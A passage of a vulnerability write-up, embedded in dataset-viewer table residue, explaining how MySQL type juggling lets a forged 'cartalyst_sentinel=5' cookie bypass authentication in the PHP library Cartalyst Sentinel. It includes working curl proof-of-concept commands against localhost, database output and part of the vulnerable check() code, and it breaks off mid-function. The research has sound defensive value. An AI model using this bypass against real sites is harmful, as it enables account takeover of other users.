text stringlengths 0 1.99k |
|---|
Now, typically once a user has logged in, they will browse various pages, |
which will trigger a call to renewSession(): |
........................................................................... |
researcher@venus:~/sentinel$ curl --cookie |
'PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u' http://localhost:8000/ |
logged in as john.wick@example.com |
now do something |
researcher@venus:~/sentinel$ curl --cookie |
'PHPSESSID=u45a6uk3o7d4r0sqmkhrghrm2u' http://localhost:8000/ |
logged in as john.wick@example.com |
now do something |
[...] |
........................................................................... |
The renewSession() call keeps the PHP session alive by inserting entries |
into a table called persistences: |
........................................................................... |
mysql> select id, user_id, code, updated_at from persistences; |
+----+---------+----------------------------------+---------------------+ |
| id | user_id | code | updated_at | |
+----+---------+----------------------------------+---------------------+ |
| 1 | 4 | B7Mk2ilTROVtNSLq2B8EKrzfNcVFUZqH | 2025-03-19 06:14:09 | |
| 2 | 4 | kRQYH4X1TkdDubU86pNt4ouFjey3gi13 | 2025-03-19 06:16:23 | |
| 3 | 4 | iVILzb9Xa8gMH4JfhMKCf4uJ62VOGDj2 | 2025-03-19 18:18:32 | |
| 4 | 4 | NzfuKcNVlKQoCKPlXuA7fSunh3W4DWWt | 2025-03-19 18:18:32 | |
[...] |
| 33 | 4 | HsXIkdkFrzWhlVYySTJAhGg0OFQ4Ey89 | 2025-03-19 18:34:01 | |
| 34 | 4 | jRq6kaPOxYf9mDy2sbTXhS5fgfe3gdlp | 2025-03-19 18:34:07 | |
| 35 | 4 | 5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT | 2025-03-19 18:34:11 | |
+----+---------+----------------------------------+---------------------+ |
33 rows in set (0.00 sec) |
........................................................................... |
Look at the last entry. What do you see? The code starts with a number: |
........................................................................... |
mysql> select * from persistences where code=5; |
+----+---------+----------------------------------+---------------------+ |
| id | user_id | code | updated_at | |
+----+---------+----------------------------------+---------------------+ |
| 35 | 4 | 5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT | 2025-03-19 18:34:11 | |
+----+---------+----------------------------------+---------------------+ |
1 row in set, 33 warnings (0.01 sec) |
mysql> |
........................................................................... |
Wait, what!? A type juggle inside MySQL! The real question is, can this |
behavior be exploited through PHP code? I'll give you the tl;dr; |
........................................................................... |
researcher@venus:~/sentinel$ curl --cookie 'cartalyst_sentinel=5' |
http://localhost:8000/ |
logged in as john.wick@example.com |
now do something |
........................................................................... |
Boom, we are in as John Wick. |
--[ 3. Vulnerability Analysis |
Let's dive into the root cause of this issue. Actually, this is a |
collection of errors that leads to a calamity. The first one, you know, |
is that MySQL allows type juggling. |
When a string is compared to an integer, MySQL tries to cast the string to |
an integer before doing the comparison. This can lead to surprising |
behavior. When the string starts with a numeric prefix ("5M6o..") then |
the cast will end up as that numeric value: |
........................................................................... |
mysql> select CAST("5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT" AS SIGNED); |
+----------------------------------------------------+ |
| CAST("5M6o0sbstpSTlf2v0Rk0tch56eyZQUrT" AS SIGNED) | |
+----------------------------------------------------+ |
| 5 | |
+----------------------------------------------------+ |
1 row in set, 1 warning (0.00 sec) |
........................................................................... |
But how does this occur in PHP? Let's dive in. |
Inside cartalyst/sentinel/src/Sentinel.php, we see the check() method: |
........................................................................... |
/** |
* Checks to see if a user is logged in. |
* |
* @return \Cartalyst\Sentinel\Users\UserInterface|bool |
*/ |
public function check() |
{ |
if ($this->user !== null) { |
return $this->user; |
} |
// 1 |
if (! $code = $this->persistences->check()) { |
return false; |
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.